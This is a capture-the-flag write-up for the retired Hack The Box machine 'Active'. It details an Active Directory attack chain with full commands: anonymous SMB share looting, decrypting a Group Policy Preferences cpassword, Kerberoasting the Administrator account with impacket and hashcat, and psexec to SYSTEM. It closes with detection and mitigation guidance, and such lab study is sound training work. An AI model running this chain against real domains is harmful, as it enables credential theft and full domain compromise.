Skip to content
Pwnversity
ACTIVE12 min · upd. 2026-11

Active

active-directorysmbgppkerberoastingpsexec
Platform Hack The Box (retired)
OS Windows Server 2008 R2 SP1 — domain controller for active.htb
Difficulty Easy
Approx. time ~20 min
Chain Anonymous SMB → GPP cpassword → SVC_TGS → Kerberoasting Administrator → psexec → SYSTEM
flowchart TD
  A["Anonymous Replication share"] --> B["Groups.xml<br/>cpassword"]
  B -->|gpp-decrypt| C["SVC_TGS<br/>domain user"]
  C -->|GetUserSPNs| D["Administrator TGS<br/>RC4"]
  D -->|hashcat -m 13100| E["Administrator password"]
  E -->|psexec| F["NT AUTHORITY\SYSTEM on the DC"]
  • A non-standard share (Replication) is readable without authentication and turns out to be a copy of SYSVOL holding a Group Policy Preferences Groups.xml with the SVC_TGS password, encrypted with a public AES key.
  • With that domain user we request a service ticket for the SPN assigned to Administrator and crack it offline.
  • With the Administrator password, psexec gives us SYSTEM on the DC. No software is exploited: it is a chain of misconfigurations.

  1. Port scan

    What I do:

    Ventana de terminal
    IP=<target_ip>
    sudo nmap -p- --min-rate 5000 -n -Pn $IP -oG nmap/allports
    ports=$(grep -oP '\d+(?=/open)' nmap/allports | paste -sd,)
    sudo nmap -sCV -p$ports $IP -oN nmap/targeted

    What I see:

    53/tcp domain Microsoft DNS 6.1.7601 (Windows Server 2008 R2 SP1)
    88/tcp kerberos-sec Microsoft Windows Kerberos
    389/tcp ldap Microsoft Windows Active Directory LDAP (Domain: active.htb)
    445/tcp microsoft-ds
    3268/tcp ldap (Global Catalog)
    5722/tcp msrpc Microsoft Windows RPC
    ...
    Service Info: Host: DC; OS: Windows Server 2008 R2 SP1

    What I think: DNS + Kerberos + LDAP + Global Catalog means this is a domain controller. I have no credentials, so it is time for anonymous AD enumeration. On a DC, the most likely way in without credentials is SMB (null or guest session), followed by anonymous RPC and LDAP.

    Port 5722 (DFSR) points to SYSVOL replication. It is not conclusive, but worth keeping in mind.

    Ventana de terminal
    echo "$IP active.htb dc.active.htb" | sudo tee -a /etc/hosts

2. Initial access: from anonymous to domain user

Section titled “2. Initial access: from anonymous to domain user”
  1. Enumerate shares with a null session

    What I do:

    Ventana de terminal
    nxc smb $IP -u '' -p '' --shares

    What I see:

    (Null Auth:True)
    ADMIN$ Remote Admin
    C$ Default share
    IPC$ Remote IPC
    NETLOGON Logon server share
    Replication READ
    SYSVOL Logon server share
    Users

    What I think: Replication is not a default share and it is the only one readable anonymously. On top of that, the name suggests a copy of SYSVOL, which normally only domain users can read.

    Why it matters: SYSVOL holds GPOs, logon scripts and Group Policy Preferences. If a copy of SYSVOL is readable anonymously, anyone can read what only authenticated users should see. → Network service enumeration: SMB

  2. Download the share and look for credentials

    What I do:

    Ventana de terminal
    mkdir loot && cd loot
    smbclient //$IP/Replication -N -c 'recurse ON; prompt OFF; mget *'
    find . -type f | sort
    grep -ril "password\|cpassword\|username\|runas" .

    What I see:

    ./active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
    <User ... name="active.htb\SVC_TGS" ...>
    <Properties action="U" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
    userName="active.htb\SVC_TGS" .../>
    </User>

    What I think: the Policies/{GUID}/MACHINE/Preferences/ layout confirms it is a SYSVOL replica. A cpassword attribute in a GPP XML file is a recoverable credential.

  3. Decrypt the cpassword

    What I do:

    Ventana de terminal
    gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
    # GPPstillStandingStrong2k18

    Why it works: GPP encrypted passwords with AES-256, but Microsoft published the key in the MS-GPPREF specification, so the encryption protects nothing. MS14-025 (May 2014) removed the option to store passwords in GPP, but it does not delete XML files that already existed. → GPP passwords

  4. Validate the credential and get the user flag

    What I do:

    Ventana de terminal
    nxc smb $IP -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
    smbclient //$IP/Users -U 'active.htb/SVC_TGS%GPPstillStandingStrong2k18' \
    -c 'cd SVC_TGS\Desktop; get user.txt'

    What I see: [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18, no Pwn3d!. It is a valid domain user but not an admin. It now has READ on NETLOGON, Replication, SYSVOL and Users.

    user.txt → fba0…f784 (redacted)

3. Escalation: from domain user to Domain Admin

Section titled “3. Escalation: from domain user to Domain Admin”
  1. What the domain lets an authenticated user do

    What I think: with no shell and a single host, the question is what any authenticated user can do. They can read the directory over LDAP and request tickets from Kerberos. That gives three cheap checks you always run:

    PriorityTechniqueRequirement on the victim
    1KerberoastingThe account has an SPN
    2AS-REP roastingDONT_REQ_PREAUTH set
    3BloodHoundNone: ACLs and paths

    The account name itself (SVC_TGS) hints at service tickets. That happens a lot on HTB; in a real environment, don’t count on it.

  2. Look for accounts with an SPN

    What I do:

    Ventana de terminal
    impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip $IP

    What I see:

    ServicePrincipalName Name MemberOf
    active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb

    What I think: an SPN assigned to a user account is already a target. If that account is Administrator, it is the direct path to DA.

  3. Request the TGS and crack it offline

    What I do:

    Ventana de terminal
    impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip $IP \
    -request -outputfile tgs.hash
    hashcat -m 13100 tgs.hash /usr/share/wordlists/rockyou.txt
    hashcat -m 13100 tgs.hash --show | awk -F: '{print $NF}'
    # Ticketmaster1968

    Why it works: the KDC issues a TGS to any user who requests one for an existing SPN; authorization is checked by the service, not by the KDC. Part of the ticket is encrypted with the NT hash of the account that owns the SPN (RC4 here, $krb5tgs$23$). You take it away and attack it offline, with no lockouts and no failed attempts left in the logs. → Kerberos attacks: Kerberoasting

  4. Remote execution as Administrator

    What I do:

    Ventana de terminal
    nxc smb $IP -u Administrator -p 'Ticketmaster1968' # → Pwn3d!
    impacket-psexec active.htb/Administrator:'Ticketmaster1968'@$IP
    Ventana de terminal
    whoami
    hostname
    type C:\Users\Administrator\Desktop\root.txt
    nt authority\system
    DC

    Why it works: with administrator credentials there is nothing to exploit; you just authenticate to a remote execution service. psexec uploads a service binary to ADMIN$ and starts it through the SCM, so it runs as SYSTEM. Alternatives: wmiexec (quieter, runs as the user) or evil-winrm if 5985 is open. → Lateral movement: impacket’s -exec tools

    root.txt → … (redacted)


It is a DC and you have no credentials. Which service usually shows you something without authentication?

What I tried Result How I ruled it out
AS-REP roasting (GetNPUsers) No entries found! No account has DONT_REQ_PREAUTH
BloodHound No relevant ACL paths Kerberoasting already gave direct DA access
Trying hashcat’s “candidates” against SMB STATUS_LOGON_FAILURE ×2 It was a misreading; the result was in --show
  • Non-standard share with anonymous READ on a DC → download it all and grep it before trying anything else.
  • Access to SYSVOL (or a replica) → look for GPP first: find . -path "*Preferences*" -name "*.xml". Check Groups.xml, Services.xml, ScheduledTasks.xml, DataSources.xml, Drives.xml and Printers.xml.
  • First domain credential → GetUserSPNs + GetNPUsers straight away. They take seconds and make little noise, although they generate 4769/4768 events a SOC can watch for.
  • When Kerberoasting, prioritize by MemberOf. An SPN on a privileged account is the direct route.
  • Validate the cracking result with --show and check the password policy (--pass-pol) before trying credentials against an AD.
Phase Detection Mitigation
Anonymous share read Event 5140/5145 (share access), if file share auditing is enabled Remove anonymous/Everyone access; review RestrictNullSessAccess and share permissions
GPP cpassword Search SYSVOL for cpassword (findstr /S /I cpassword \\<domain>\sysvol\*.xml) Delete GPP XML files containing passwords, apply MS14-025 and rotate the exposed credentials. Use LAPS for local passwords
Kerberoasting Event 4769 with Ticket Encryption Type 0x17 (RC4) for user accounts, especially in bursts Don’t assign SPNs to privileged accounts; use gMSA or passwords longer than 25 characters; enforce AES and disable RC4 (slows cracking down, since AES with -m 19700 is much slower, but does not prevent it: the real defense is a long password or a gMSA)
PsExec Event 7045 (new service installed), 4624 type 3 from an admin account on an unusual host Admin account tiering; restrict access to ADMIN$; EDR